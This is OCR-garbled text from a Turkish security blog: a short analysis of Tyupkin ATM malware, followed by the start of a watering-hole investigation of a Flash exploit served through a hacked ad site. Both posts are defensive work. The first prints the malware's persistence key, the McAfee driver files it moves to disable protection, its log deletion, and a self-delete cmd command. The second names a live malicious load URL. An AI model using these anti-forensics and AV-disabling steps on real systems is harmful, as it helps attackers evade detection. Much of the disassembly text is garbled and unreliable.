Hali hazirda Kaspersky tarafindan detayli bir sekilde analiz edilmis bu zararli yazilimi tekrar analiz etmek yerine, sisteme bulagtiginin
nasil anlasilabilecegine dair kilit noktalara hizlica g6z atmaya karar verdim. (Analizi ATM iizerinde gerceklestirmedigim icin analiz
esnasinda Pin Pad ile baglanti kurulamamis ve bu nedenle Tyupkin'in tim izleri sildigi, islemleri geri aldig1 senaryo iizerinden
ilerlenmistir.)

ik olarak Tyupkin'in dinamik analizi atlatma adina calistiktan sonra 10 dakika uykuya gegmesine miidahale ederek (patch) bunu
kisalttim.
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call ds:CreateWindowExW
cmp eax, ebx
mov dword_42EA34, eax
jnz short loc_ 428240
L J
= P
36h ; uType
offset aError_@8 ; "Error?" loc_42824C: ; neémd3how
offset aWindowCreation ; "Window Creation Failed*"| |push ebx
ebx ; hind push eax ; hund
ds :HessageBoxW call ds:ShowWindow
eax, eax mov ecx, dword_42EA3Y4
edi push ecx 5 hynd
esi call ds:UpdateWindow
ebx mov edx, dword_42EA3Y4
esp, ebp push edx ; hind
ebp call ds:GetDC
18h mow hDC, eax
call sub_tf1c118
push Goaaea ; 18 dakika uyku vakti ;)
call ds:Sleep
call sub_41CA18
call sub_42086878
mov esi, ds:GetMessageW
push ebx ; whsgFilterHax
push ebx ; whsgFilterMin
push ebx ; hund
lea eax, [esp+74h+hsqg]
push eax ; lplisg
call esi ; GetHMessageW
test eax, eax
jle short loc_4282C7
I
mov edi, ds:TranslateMessage

100.00% (218,1157) (878,239) 00020273 00420273: WinMain(x,x,x,x)+133

=

Analize bagladiktan kisa bir siire sonra Tyupkin'in ¢alismak ya da ¢alismamak iste biitiin mesela bu dedigi ana kontrol adimina
geldim. Burada ATM'nin Pin Pad'i ile baglant1 kurmaya calisan Tyupkin, baglant1 kuramadig taktirde hem 6nyiiklenebilir aygit (cd,
usb) tizerinden hem de kendi {izerinden yaptig1 degisiklikleri geri almaya bagliyordu. Bu adimlar sayesinde zararli yazilimin hangi
giivenlik yazilimlarini devre dis1 biraktig1 da anlagilabiliyordu. (Kaspersky'nin raporuna gore Tyupkin, McAfee'nin Application Control
(SolidCore) yazilimini devre dis1 birakiyordu.)

adimianna giden bl

= ry
"PE
loc_&208CH: i Seftware\Microsoft\Windows\CurrentUersion\Run\AptrabDebug -> C:\Windows\systend2\ulssm.exe yaziligor.
call  sub_W1D94O i Cr\Programbata\Microsof t\Windows\Start Menu\Programs\Startup\Aptrabebug.lnk siliniyor.
test al, al
jz short loc_ 420004
L ] L J
e = =
push offset aRegistrySucces WREGISTH WCCESS T\
np short 1oc_k? 8009 loc_N200D4: WREGISTRY ERROR®\R
push offset aRegistryError
L
loc_k20009:
offset dword_&ZE3DE
sub_404EF 0
esp, §
sub_MFOFE ; Pin Pad ile baglanty kurulugor.
Pax, eax
short loc_h200FB
= ' = L
call sub_KICA9R : Pin Pad ile baflanty kurulamar ise
; dosya sistemi ve kayit defteri Uzerindeki] |loc_s200FD:
; kayatlar siliniger. lea eax, [espfl]
push L] : int push rax : lpThreadid
call push [] ; dwCreationFlags
push [ ] ; Ant
push offset sub_N10240 ; int
push L] ; dwStackSize
push L] i lpThreadittributes
call gint
push offset Threadld ; LpThreadlid
push [] ; dwCreationFlags
push [ ] : int
push offset sub_MIFDED ; int
push [ ] i dwStackSize
push ] : 1pThreadattributes
call t -
add esp, Joh
xor wax, eax
pop esi
add esp, B

retn
sub_AZ0070 endp

Zararli yazilimin ¢alistiktan ancak Pin Pad'e baglanamadiktan sonra hangi adimlardan gegctigini kisaca agiklamam gerekirse;

Sistem bagsladiktan sonra calisabilmesi adina kayit defterindeki (registry) Software\Microsoft\Windows\CurrentVersion\Run
\AptraDebug anahtarina C:\Windows\system32\ulssm.exe degerini yaziyor. (sub_41D940)

Onyiiklenebilir aygit iizerinden olusturuldugunu tahmin ettigim C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
\AptraDebug.Ink dosyasini (muhtemelen bu da system32\ulssm.exe dosyasini isaret ediyor.) siliyor. (sub_41D750)

98


https://securelist.com/blog/research/66988/tyupkin-manipulating-atm-machines-with-malware/

Tyupkin, Pin Pad ile baglanti kuramaz ise daha once olusturdugu Software\Microsoft\Windows\CurrentVersion\Run\AptraDebug
anahtari siliyor. Ardindan yine Onytiklenebilir aygit iizerinden devre dist biraktigi McAfee Application Control'un (SolidCore)

servislerinin, sistem yeniden basladiginda tekrar ¢aligabilmesi adina asagidaki degisiklikleri gergeklestiriyor. (sub_41C490)

HKLM\System\CurrentControlSet\services\scsrvc\Start degerini 2 olarak degistiriyor.
HKLM\System\CurrentControlSet002\services\scsrvc\Start degerini 2 olarak degistiriyor.
HKLM\System\CurrentControlSet003\services\scsrvc\Start degerini 2 olarak degistiriyor.

lea edx, [esp+B8D78h+phkResult]

push edx ; phkResult

push BF B83Fh ; sambDesired

push a ; uloptions

push offset SubKey ; "Software\iHicrosoft\iWindowsyhCurrentUe™ . ..

push g0000082h ; hKey

iy duord ptr."const UCHAR Subey

call  edi ; Reggypgey: ; DATA XREF: sub_41C498+Fato
test BdX, BdX ypjcpde @, {Software\MicrosoftiWindows\CurrentUersioniRun>,8

jnz short 10C_~rrowme T

eax, [esp+BD78h+phkResult]
offset ValueMame ; “Aptrabebug™
eax ; hKey
ds:RegbeleteUaluel

’

------- wyre pur
var_k= dword ptr &
|pusn ebp
mow ebp, esp
and esp, OFFFFFFFEN
|sub esp, OD4CH
now eax, __ security_cookie
xor eax, esp
noy [esps@DEChevar_h], eax
now ecx, ds:dword_k2805C
nou eax, ds:dword_N28058
nov edx, ds:dword_AZ8060
push ebx
push esi
push edi
|mow [esp+0DTBh+var_DAC], ecx
nou ecx, 130
mou esi, offset aSystemControls
|lea edi, [esp+@D78h+SubKey]
push 1BCh ; slasystemControls:
|rep movsd unicode 0, (SYSTEM\ControlSeto@i\Services\scsruc>,®
|mow dword ptr [esp+0D7ChevaTuemane], Fax
now ax, ds:iword h2R064
|1ea ecx, [espe@D7Chevar 7DC]
push (] ; int
|push ecx i void =
| mou [esp+0DBAhsuar_DA], edx
| moy [esp+ODBNh+var_Dhh], ax
|call
|push 1BCh ; size_t
lea edx, [esp+@@8hevar ICC)
|push ] : int
mnow ecx, 13h
|mou esi, offset aSystemContro_@ YSTEM\\ControlSet i
lea edi, [esp+BOBChevar 18]
push il : void =
|rep mousd
|call
|pusn 1BCh ; size_t
|lea eax, [espsBbOhhevar SDh]
|push (] ; int
|mou ecx, 13h
|mou esi, offset aSystemContro_1 vSTEM\\ControlSet o
|1ea edi, [esp+@98h+var_620)
|push rax : void =
|rep mousd
|eall t
|mou ecx, 15h
|mov esi, offset asystenCurrentc
|lea edi, [esp+@9Chevar_210]
|push 1650 ; size_t
|rep mousd
lea ecx, [esp+@bABhevar 1BC])
|push L] : int
|push ecx ; void =
|ca11
|mou edi, ds:RegipenkeyExy
| ana —

100.00% (-247,466) (452,268) 0001C490 0041CE90: sub_41C490

Yine 6nytiklenebilir aygit (bootable usb, cd) iizerinden gergeklestirildigini tahmin ettigim bu islemde, McAfee Application Control
(SolidCore), Mcafee Host IPS ve Mcafee Antiviriis yazilimlarina ait olan asagidaki dosyalar1 C:\windows\system32\config klasoriinden
alip, C:\windows\system32\drivers klasoriine kopyaliyor. (En basta config klasériine kopyalamasinin sebebi, u dosyalar1 bulamayan

giivenlik yazilimlarinin sistem baglangicinda ¢alismasini engellemektir.) (sub_41BBF0)

HipShieldK.sys (Mcafee Host IPS siiriiciisii),
mfeapfk.sys (Mcafee Antiviriis siiriiciisii),
mfeavfk.sys (Mcafee Antiviriis siiriiciisii),
mfebopk.sys (Mcafee Antiviriis siiriiciisii),
mfehidk.sys (Mcafee Antiviriis siiriiciisii),
mfeclnk.sys (Mcafee Antiviriis siiriiciisii),
mferkdet.sys (Mcafee Antiviriis siiriiciisii),
mfewfpk.sys (Mcafee Antiviriis siiriiciisii),
mfenlfk.sys (Mcafee Host IPS siiriiciisii),
mfefirek.sys (Mcafee Host IPS siiriiciisii)
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push
mou

x0r

mou

push
call
push
call
push
call
push
call
push
call
push
call
push
call
push
call
push
call
push
call
mou

add

z0r

z0r

call

pop

ecx
eax,
eax,

security_cookie
esp

[esp+h4+var_4], eax

offset aHipshieldk_sys

sub_41B538

offset aWfeapfk_sys ; "“imfeapfk.sys”

sub_41B538

offset aWfeavfk_sys ; "‘imfeavfk.sys”

sub_41B538

offset aMfebopk_sys ; ““imfebopk_sys”

sub_41B538

offset aWfeclnk_sys ; "“imfeclnk.sys”

sub_41B538

offset aMfehidk_sys ; "\\mfehidk.sys"

sub_41B538
offset aliferkdet_sys ;
sub_41B538

offset aMfewfpk_sys ; ““umfewfpk.sys”

sub_41B538

offset abifenlfk_sys ; "‘imfenlfk.sys"

sub_X41B538
offset alfefirek_sys ;
sub_41B538

ecx,
esp,
ecx,
eax,

@  security check_cookie@% ; _ security check_cookie(x)}

BeCX

D041BBFO: sub 41BBFO0

[esp+2Ch+var_4]
28h
esp
eax

; "\\HipShieldK.sys"

““\\mferkdet .sys"

\Amfefirek.sys

NCR firmasinin Aptra uygulamasi ile birlikte dagitt1 6zellestirilmis Solidcore yazilimina ait kayitlari (solidcore.log ve s3diag.log) C:
\program files\ncr aptra\Solidcore for APTRA\Logs klasériinden siliyor. (sub_41B450)

call _memset
mov esi, ds:SetFileAttributesW
add esp, BCh
push 86h ; duFileattributes
push offset aCProgramFilesH ; "C:\\program files\incr aptra\iSolidcore™...
call esi ; SetFileattributesw
Eg:h ;S:h [esp+11ﬂh+ﬁ const WCBRR aCProgramFilesH
i aCProgramFilesH: ; DATA XREF: sub_41BA58+39To
puEn offset aCProgral,;; qde 8, <C:\program files\ncr aptra\Solidcore for APTRA\Logsisolid>
push St unicode @, <{core.log>,8
call _uwcstombs
lea edx, [esp+118h+var_168]
push edx ; char =
call _remove
add esp, 16h
push 88h ; duFileattributes
push offset aCProgramFile_1 ; "C:\\program files\incr aptra\iSolidcore™...
call esi ; SetFileAttributesW
push 184h ; size t
mov esi, eax
lea eax, [esp+11Bh+var_168]
push offset aCProgramFile_2 ; "C:\\program files\incr aptra\iSolidcore™...
push eax ; char =
call _uwcstombs
lea ecx, [esp+118h+var_1688]
push eCcx ; char =
call _remove
mou ecx, [esp+11Ch+var_Uu]
add esp, 16h
mov eax, esi
pop esi
Xor eCX. es5D
) 0001B450 0041B450: sub 41B450
1ed EdX, [ESPFITOn udr_Tuv]
push ; int
push eax ; void =
mowv [esp+11Bh+var_188], 8
call _memset
mov esi, ds:SetFileAttributesW
add esp, BCh
push 80h ; duFileAttributes
push offset aCProgramFilesN ; "C:\\program files\incr aptra\iSolidcore™...
call esi ; SetFileAttributesW
push 184h ; size t
lea ecx, [esp+i1Bh+var_168]
push offset aCProgramFile_B ; “C:\\program filesiincr aptraiiSolidcore™...
push eCx ; char =
call _wcstombs
lea edx, [esp+i18h+var_168]
push edx ; char =
call _remove
add esp, 16h
push 86h ; duFileattributes
push offset aCProgramFile 1 ; "C:\\program files\incr aptra\iSolidcore™...
call esi ; SetFileAattributesW
push 184h ; const WCHAR aCProgramFile_A1
mov esi, eax aCProgramFile_1: ; DATA XREF: sub_X41B4S5@+66To
lea eax, [esp+11Blunicode @, <C:\program files\ncr aptraiSolidcore for APTRA\Logs\s3dia>
push offset aCProgtunicode 8, <g.log>,8
push eax 3 Char
call _wcstombs
lea ecx, [esp+118h+var_168]
push BCX ; char =
call _remove
mowv ecx, [esp+1i1Ch+var_A4]

»300) 0001B489 0041B489: sub 41B450+33
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Yine onyiiklenebilir aygit iizerinden kopyalandigini tahmin ettigim Windows\System32\kbd110.dll dosyasini siliyor. (sub_41C490)

Son olarak ise "C:\Windows\System32\cmd.exe" /C ping 127.0.0.1 -n 8 & del /F /S /Q C:\Windows\system32\ulssm.exe komutunu
calistirarak ulssm.exe dosyasini siliyor. (sub_41C490)

Analizi tamamlamadan 6nce bu iz silme ve yapilan iglemleri geri alma fonksiyonunun (sub_41C490) baska hangi fonksiyonlardan
cagrildigina (xfref) baktigimda, karsima ¢ikan iki fonksiyondan biri dikkatimi ¢ekti. Bu fonksiyonda oncelikle yerel ag baglantisi
durduruluyor ardindan para ¢ekme i¢in izin veriliyor ve ardindan 48 dakika sonra izleri silme, islemleri geri alma (sub_41C490)

fonksiyonu ¢agriliyor.

=
; Attributes: bp-based Frame

sub_k1CH9R proc near

Data = byte ptr -@D&8H

hiey = dword ptr -@D64h

war_D&0 = dword ptr -@D68h

war_DSC = dword ptr -@DSCh

phikResult = dword ptr -BDSEH

var_D54 = dword ptr -BDS4h

UalueHame = word ptr -@050h

war_DhC = dword ptr -BDACH

var_Da8 = dword ptr -BDAEH

war_Dab = word ptr -@D&kh

var_Dag = byte ptr -BDAGBH

war_DaF = byte ptr -BDIFH

Paraneters = word ptr -0C38h

var_BES -

FileHame -

war_A2E =-

Subkey =-

var_7DC -

E::tgsis’““ 3 ; Dorsys sustems ve kaytt deften usenndek
ConbrslietiiE = sub_41C400; Pin Pad ile baglant kurulamaz rse
var_3CC -

ControlSet - r - \
war_18C = E]mm. nep |
war_b = || Line2ot3

100.00% (-242,-22) (354,166) 0001C4590 0041CHS0: sub_41C4%0

able DOWIEA1N case 3

prd_L2ESTE

pSetWindowlexty

plimeMasExtened ; “TIME WAS EXTEHED. +#+™

loc_S1ECC2:

ind
£DaBe, @An

k
PFF96h
pruindowTexty

dnd
EUpdateWindow
paatewindow
fwiilliseconds
b

prd_L2ESTE
pord_h28428 ; 1pString
dnd

®

[}

ptutindowlexty

nd

pdatewindow
Fibb

cnd = esi '

mow ebp, esp

and esp, BFFFFFFFBh

sub esp, BOGCH

mow eax, _ security cookie
xor eax, esp

mov [espsBDOChsvar 4], eax
mow ecx, ds:dword_s2805C
moy eax, ds:dword_k2

moyv edx, ds:dword_ 428060
push  ebx

push cnd

push edi

mov [esp+BDTEh+var DAC]), ecx
mov ecx, 13h

mov cnd, offset aSystemControls ; “SYSTEM\ControlSetd@ii\Services\\scsruc™
1ea edi, [esp+0D7Bh+Subiey]
push  1BCh ; size t

rep mousd

mow dword ptr [esp+BD7Ch+ValueHame], eax
mow ax, ds:word_k2806h

1ea ecx, [esp+OD7Chevar_7DC]

i jumptable BONIEA1S case 2
eax, dword_h2ES68

noy esi, ds:SetWindowlexty

push offset aDisablinglocal ; "DISABLIMG LOCAL AREA METWORK...\nPLEASE"...
nov ebx, 777771770

push eax ; hind

nov edi, eax

nov color, ebx

call esi ; SetWindowTextw

push edi ; hind

now edi, ds:Updatevindow

call edi ; UpdateMindew

mnow eax, dword_h2ESSC

push  offset word_h28490 ; 1pString
push eax ; hind

nou ebp, eax

mov color, B

call esi ; Setwindowlextw
push ebp : hind

call edi ; UpdateWindow
push ; puReserved

oy byte_W2EA38, 1

call ds:Colnitialize
push []

push offset alocalAreaCon_8 ; “Local Area Connection™
call sub_N1BBAD

add esp, 8

call ds:Cobninitialize

push offset aDispensePermis ; “\nDISPEMSE PERMISSION GRANTEDn"
push offset dword 4ZE3IDE

call sub_kDGBFD

now eax, dword WZES6E

add esp, 8

push offset off_k2BMBY ; 1pString

push eax ; hind

mow ebp, eax

nov color, ebx

call esi ; SetWindowTextW

push  ebp ; hin

call edi ; UpdateWindow

mow eax, dword MZES6C

push offset alnirartnispp_l : “T0D START DISPEMSE OPERATION - \nEMTER C"...

push eax ; hind

nov ebx, eax

mow color, OFFFFh

call esi ; SetWindowTextw
push  ebx ; hnd

call edi ; UpdateWindow

lea ecx, [esp+38h+Threadid]
push ecx ; lpihreadia

push B ; duCreationFlags
int

push L]
push offset loc_M1CA70 ; &8 dakika uyu ve temizleme Fomksiyonuna git
push o ; duStackSize

push B ; lpThreadattributes
call beginthreadex
add esp, 18h

100.00% (2797,2310) (208,432) O000LEDTA OOM1EDTA: sub_41ESE0+3SA

eax, dword MZES68

esi, ds:SetWindowTexty
offset off_A28700 ; 1pString
ebx, 777TIITT0

eax ; hind

edi, eax

color, ebx

esi ; SetWindowlexty

edi ; hind

edi, ds:Updatevindow

edi ; UpdateWindow

ebp

sub_N1DB7R

esp, b

sub_&1E3RD

eax, dword M2ES68

offset off_A285Ch ; 1lpString
eax ; hind

ebp, eax

color, ebx

esi ; SetWindowlextW

ebp ; hind

edi ; UpdateWindow

eax, dword MZES6C

offset off_h28758 ; 1pString
eax ; hind

ebp, eax

color, WFFFFh

esi ; SetWindewlexty

ebp ; hind

edi ; UpdateMindow

BBEEN ; deMilliseconds
ds:Sleep

eax, dword_M2ES68

offset off_W2BGCC ; 1pString
eax ; hind

ebp, eax

color, ebx

esi ; SetWindowlextW

ebp ; hin

edi ; Updatewindow

eax, dword_M2ES6C

offset aToStartDispe_1 ; 10
eax ; hind

ebx, eax

color, OFFFFh

esi ; SetWindowlextw

ebx ; hind

edi ; UpdateWindow
loc_M1EF&S

START DIS|
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Jtext:00RICRET |

ext : 004 align 10n
Jtext:004ICETE
Ltext:0041CETO loc_K1CATE:
Jtext:DONICETD push esi
text : 00M1CET1 mou esi, ds:Sleep
.text :DONICET7 push  edi
SJtext:00N1CETE moy edi, W80
Jtext :D0N1CETD lea ecx, [ecx+0)
Jtext:0041CEE0
LJtext:0041CEE0 loc_MICREO: : CODE XREF: .text:0081CE8ALJ
" Jtext:0041CEE0 push 40000 ; (W80 x &) / 60 = W8 dakika uyu
L * | text:oenicess => call  esi ; Sleep
" ° Ltext:Oeu1CERT sub edi, 1 ; WE0'den geriye say
== .text:00N1CEEA jnz short loc_N1CE80 0 x é [} 1
Jtext D04 ICERC $ call sub_k1CK90 : Dosya sistemi ve kayit defteri ilizerindeki
LLENE : DONICHRC ; kayatlar silinigor.
Jtext:00ICETT push L]
Jtext :DO41CEDI call
Jtext :0041CE93
text 0041 L dd BCCCCSESFh, BCCCCCCCCh

Jtext : 0041CEAD
Ltext:00NICEAD
Stext: 00N ICHAD
Jtext:0041CEAD
Ltext:00KICEAD ; int _ cdecl sub_WICBAB(int, int, veid =, int)

LJtext 004 1CEAR sub_NICEAR proc near : CODE XREF: sub_W&FDE@+1CCLp
SJtext:0041CEA0

Stext :DORICEAD var_20 = dword ptr -20h
LJtext 00N ICEAR var 10 = dword ptr -1Ch
text : DOMICEAD var_18 = byte ptr -18h

Stext :DORICHAD var C = dword ptr -8Ch
LJEext:O0NICEAR var N = dword ptr -4
Jtext:0041CEAR arg 0 = dword ptr A&

text :0041CHAD arg B = dword ptr BCh
LJEext 00N ICEAN0 arg C = dword ptr 100
Jtext:00M1CEAD

Jtext :0041CEAD push ITTTITIIITe

Ltext 00N 1CHAZ push  offset sub_k23AA1
Jtext:DONICEAT mov eax, large fs:0
Jtext :DONICEAD push an

Jtext 00N ICHAE sub esp, 18h
Jtext:00N1CEET push ebx

Jtext :DONICREZ push ebp

Stext : 004 1CERI push esi

Jtext DN ICERN push edi

Jtext :DONICEES mow eax, _ security_cookie
Ltext :DONICEEA wor eax, esp

L LEXT 00N 1CHBC pusn eax

.text : 004 1CHBD lea eax, [espr38hsvar C)
Ltext :0O41CRCT mow large Fs:0, eax
text :0041CACT moy edi, [espsdahsarg_0]
text:0041CECH xor esi, esi

text : 004 1CECD mow [esp+38h+var_20], esi
Jtext :0081CAD1 moyv eax, 1

text : 004 ICEDG mov [espr3Bhevar_k], eax
Jtext :DONICEDA mow [edien], esi

Ltext : 0041CROD moy [edi+n], esi

0OO1CERD 0O41CEE0: .text:loc_41CEED

Gergeklestirdigim bu kisa analiz sonucunda, Tiirkiye'de goriilen Tyupkin ile Kaspersky'nin raporunda yer alan siirim arasinda bazi
farklar oldugu goriliiyor.

Birincisi, Tiirkiye stirlimiinde sadece Mcafee Application Control (Solidcore) degil bunun disinda siiriicii dosyalarina bakilacak olursa
Mcafee Antiviriis ve Mcafee Host IPS de devre dis1 birakiliyor gibi goriiniiyor.

Ikincisi ise yine Kaspersky'in raporunda para cekme islemi gerceklestirildikten sonra Tyupkin'in kendini sildigine yer verilmemis ancak
mevcut siiriimde boyle bir iglev bulunuyor. (Bu islev nedeniyle, kurye tarafindan ATM'den para ¢alinmadan 6nce Tyupkin bulasmis
bir ATM'yi tespit etmek isteyenlerin yapmasi gereken islerden ikisi, sistem {izerinde ulssm.exe adli bir yazilimin ¢alisip ¢aligmadigint
kontrol etmek ve bu dosyanin Windows\system32 klasorii altinda olup olmadigini kontrol etmek yerinde olacaktir.)

Bu zararli yazilima karst ¢6ziim olarak ATM iizerinde disk sifreleme, fiziksel erisimde ve baglanti noktalarinda is akigini dahi
etkileyebilecek diizeyde radikal kisitlamalar diisiiniilebilir.

Kisith zaman ve teknik imkanlar dahilinde (eksikler veya hatalar olabilir) gerceklestirdigim bu analizin, Tyupkin'e karsi verilen
miicadeleye katkis1 olmasi dilegiyle bir sonraki yazida goriismek iizere herkese giivenli giinler dilerim.

Su Kaynagi Saldirisi

Source: https://www.mertsarica.com/su-kaynagi-saldirisi/
By M.S on January 2nd, 2015

Watering Hole, Tiirkce meali ile su kaynagi saldirisina kurak Afrika'da siklikla rastlanmaktadir. Susuzlugunu gidermek i¢in su kaynagina
giden hayvanlarin bir kismi, bu su kaynagina ev sahipligi yapan timsahlar tarafindan karsilanmaktadirlar. Pek misafirperver olan bu
timsahlarin karinlarin1 doyurmak igin tembel tembel suyun altinda beklemek disinda baska bir sey yapmalaria gerek yoktur ¢iinki er
ya da geg, susuzluga yenik diisen hayvanlar, tip1s tipis su kaynagina gidecek ve suyun altinda gizlenen uyusuk ama akilli timsahlarin
saldirilar1 sonucunda 6gle yemegi olmaktan kurtulamayacaklardir.

Internette gerceklesen su kaynag saldirilarinin da Afrika'da gerceklesenlerden pek bir farki yoktur. Susayan hayvanlarin er ya da geg
su kaynagina gitmesi gibi cani sikilan, giindemi takip etmek isteyen cok sayida kullanicinin da giin iginde haber, aligveris, eglence,
magazin sitelerini ziyaret ettigini bilen art niyetli kisiler, bu siteleri veya bu sitelerin igerik aldig1 diger siteleri/sistemleri (misal reklam
siteleri, cdn vs.) hackleyerek, uyusuk ama akilli timsahlar gibi kurbanlarinin, ayaklarina gelmelerini beklemektedirler. Hackledikleri
sitelere zararli kodlar yiikleyen art niyetli kisiler, bu siteleri ziyaret eden kullanicilarin internet tarayicilarinda ve/veya eklentilerinde
bulunan olasi1 zafiyetleri (yamasi ge¢ilmemis internet tarayicisi, flash player, java vb.) istismar ederek bu kullanicilarinin sistemlerine
zararli yazilim yiiklemektedirler.

Reklam olarak nitelendirilebilecek yazilar yazmamaya 6zen gosteren biri olarak, yazimin devaminda Fireeye NX cihazindan
bahsetmemin sebebinin, cihazin teknik olarak bu yaziya olan olumlu katkisi oldugunu belirtmek isterim.

Elinin altinda Fireeye NX gibi kum havuzu analizinden faydalanarak ag iizerinden zararli yazilim tespiti yapabilen cihazi olanlar,
27 Kasim tarihinde S6zcii Gazetesi kaynakli bir alarmla kargilagmiglardir. Fireeye NX cihazi tarafindan iiretilen PCAP trafik dosyasi
ve analiz raporu incelendiginde, S6zcii Gazetesi'nin web sitesinde yer alan reklam igeriginin ¢ekildigi bir sitenin (static.adhood.com/
passbacks/sozcu_east/sozcu_east passback 728x90.html) hacklendigi anlagilabiliyordu. Analiz raporunda yer alan Macromed\Flash
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https://www.mertsarica.com/su-kaynagi-saldirisi/
https://www.mertsarica.com/su-kaynagi-saldirisi/
https://www.youtube.com/watch?v=LxqiLPC-quE#t=14
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\Flash32 12 0 0 77.ocx bilgisi sayesinde, istismar kodunun Flash Player yazilimu ile ilgili oldugu ve zafiyet barindiran Flash Player
yazilimu istismar edildiginde de, kullaniciy: http://82.146.32.54/noadboa2/load.php adresine yonlendirildigi anlasiliyordu.

uRL Decurred Content Type URL Cccurred Content Type
wtatic adhood com/passbacks/scicu sast/scicu sast passback 7 10/27/14 14120142 vewe/heal 2714 14:28:40  vewe/jawameripe
18290 bral
-y 14:2 =
1 proje: = 4 1432
aplec T - 4 mxt /bt warn
=1 ip
4a.com/r_ma % o
4 gie 8 ima
‘ - 4 14
41 = ¥ =/ aync/ Lmg T W tmag
4 142054 a
Type Mode /Class Details (Path ge/Prococal Crype/Li re ote.) Process 1D Parent 1D File Size
¥ Se 28
Mame: w °}
Frame No. instruction Addr. & Name Symbol Name ]
2 ‘
st weep
ot Ut o
symbol name 50
s_IAEKsrnel_UnlosdModuls
a_lAEKarnal_UinloadModule
le_iAEKersel_UnlosdModule
sule_lAKKsrael_UnloadModule
AsEer admcdu
Malicious A ¢ Web Anomalous Activity ssage: reated during Web session
Expl s

Bunun iizerine analiz raporunda yer alan SWF uzantili Flash Player dosyasini incelemeye ve bunun hangi zafiyeti istismar ettigini
6grenmeye karar verdim. Ilk is olarak Fireeye tarafindan bu trafige 6zel olarak iiriiletilen PCAP dosyasin1 Wireshark ile agtim. Ardindan
bu dosyadan ¢ikardigim (File -> Export Objects -> HTTP) SWF dosyasin1 440998.swf ad1 altinda diske kaydettim.
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https://get.adobe.com/tr/flashplayer/

Pl Wireshark: HTTP object lst - olEN
Packet nuchslnime‘ (_ont‘en:‘r,pe Size g Tenanle i ) ~
1446  cm.g.doubleclick.net image/png 170 bytes pixel’google_nid=aplvéigoogle_push=AHNF13151iDp7oCINHZDba3vwiTgE efsBAAFHVLIw
1449 referrer.disqus.com application/javascript 40 bytes  event.jsTthread_slug=kicdaroglundan_cicek8217e_ozur_dileSiuser_type=anonéireferrer=hitp %3A%2F %2Fsozcu.com.tr2F2014%2F gundem %
1454 cm.g.doubleclick.net image/png 170 bytes pixel’google_nid=aphv&igoogle_push= AHNF13I51irlDpToC1NHZDba3vwiT gEefsBdAFHVL 9w
1466 node-nl-aashbu.sitescout.com image/gif 43 bytes

2id:547718fc4aaT634600df0001; :BEA453DEGS3BFABZ: 5:6bdbD0cB6BEI93b; cid: 157145:1s: 1417091324613

hoc .
[ 1543 cnlsitescoutedgesuitenet  application/x-shockwave-flas

>
Help

Save As Save All Cancel

Isi geregi giivenlik testleri veya zararli yazilim analizi ile ilgilenenler veya hobi olarak merak duyanlar, SWF dosyasinin Flash
Player sanal makinesi tarafindan, ¢alisma esnasinda derlenen bir baytkoddan (interpreted) olustugunu, bu nedenle SWF dosyasinin

Sothink SWF Decompiler, Flash Decompiler Trillix gibi iicretli ve JPEXS Flash Decompiler gibi {icretsiz araglar ile kaynak koduna
¢evrilebildigini biliyorlardir.

Her ne kadar kaynak koduna ¢evirme islemi, statik kod analizi i¢in yapiyor olsa da, Sothink SWF Decompiler gibi araglar,
bayt kodunu kaynak koduna cevirdikten hemen sonra bu SWF dosyalarint da ¢alistirdiklary igin sanal makinede yapilmayan

bu kaynak koduna ¢evirme islemi, sisteminizde istismar kodunun ¢alismasina sebep olabilir bu nedenle ¢cok ama ¢ok dikkatli
olmaniz gerekmektedir!

& 1§ My Comguter
5 N My Nostweort. Places

Fles:

I Fiddier Web Debugger
Fle Ect Fues Took View Melp GET fbook

43 Roplay 3¢ - F Go | Sream [ Docods | Keep: Al sessons + @3 Any Process 34 Fnd [l seve |18 () 8 Browse -

[ Resdk  Protocol Host  LRL
3 WrTP 2.196.32.36

Difter . Fuddier Script Fiters Lo = Timsine

sl foxd phe @ Remtics | B wnepectors | F Auschesponder | o] Composer

Select one or more SesgTons In the web Sessions 118t
0 wiew performance STarTSEics.

shockeen Pl
Sk Shockwave Pl

Thanks for wsing Fiddler! If you need help or have
feedback to share, please use the Welp menu.

-Eric Lawrence

Al Processes

Flash Decompiler Trillix ile kaynak koduna ¢evirme islemi basarisizlikla sonuglandiktan sonra Sothink SWF Decompiler araci ile SWF
dosyasini kaynak koduna ¢evirip, kodu inceledigimde herhangi bir zararli koda rastlayamadim.
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Astenec (Event. ADDED_TU_STAGE, this.init

t (zoot.loaderinfo.parameters. clickTAG. nibsts (0, 4] ==

€ »ot

»

&, oot

Fiosuacm:

Ucretli kaynak koda cevirici yazilimlarin guvalladigi noktada JPEXS Flash Decompiler aracina bir sans vermek istedim. SWF dosyasini
bu aragla agtigimda, BinaryData kisminda bagka bir SWF dosyast daha oldugunu gérdiim. Bunu da agip igine baktigimda ise bunun

DOSWE isimli bir arag ile sifrelendigi ve gizlendigini gordiim.

/FF JPEXS Free Flash Decompiler v.4.0.5 - C:\Documents and Settings\Administrator Desktop'440998.swf -0 X
et | R | Toos Settings Help
[E] save as... = Export all parts | [ Resources |
3 Feloadd " Export selection | Hex dump
|Open... Save H Export 5 Impart H ‘
to FLA ._|_’| Save az Exe... tent
General Export Impart Wiew
¥ 459?198-;Wf It looks like there is SWF inzide this binary data tag. Click here to load it as subtree. l
eacer
sprites 00... 43 57 53 12D7 7E 00 00 78 DA 7C 54 7D 6C 13 E5 C W § = =~ xT |1 T11l aja
| binaryData 00... 1F BF BY AF DD 18 03 1A 60 71 AQ 58 5F 70 34 Bg it e ¥ SO
| DefineBinaryData (2 kiain_library_dataClass) o sm=m—=oDe 35 50 28 B4 95 26 A3 5B DB 90 7F 54 A S ONE R & & ¢ 0 z
) DefineBinaryDsata (3: Main_content_sstaClas{ omore D3FSE07ATIDE D 70 33 4B 5808 12 A0V 08 azwbk=1 3KX
frames Remave with dependencies  1gq rg 57 86 C5 90 D9 1C 44 D9 44SE A6 & h 7 0§ $Ee @ DUD ~ !
athers Export selection C6 21 09 01 71 24 8C 44 90 39 87 2F 80 & |@ |62 |0 g5 ED 9§/
Scripts ‘Replace... F7 03 9F E7 &E EE 28 12 DE 3F EE FE FD s fTgeer T:iafv
i e et CFF37DBYEY 14 AR F4 05 45 EDE7 82 | s 6 I 61 *¢ 28 Ex.
S| ClickT=g Open SIWF inside 05 AC 151445 7D E9 9C DA 32 FE 5401 Z P A - E}*elzarT
Bl Misin PO AS SIS F9 AS BT 3E 10 BZ ASE3 AZ A4 79BELE? E - U u - -
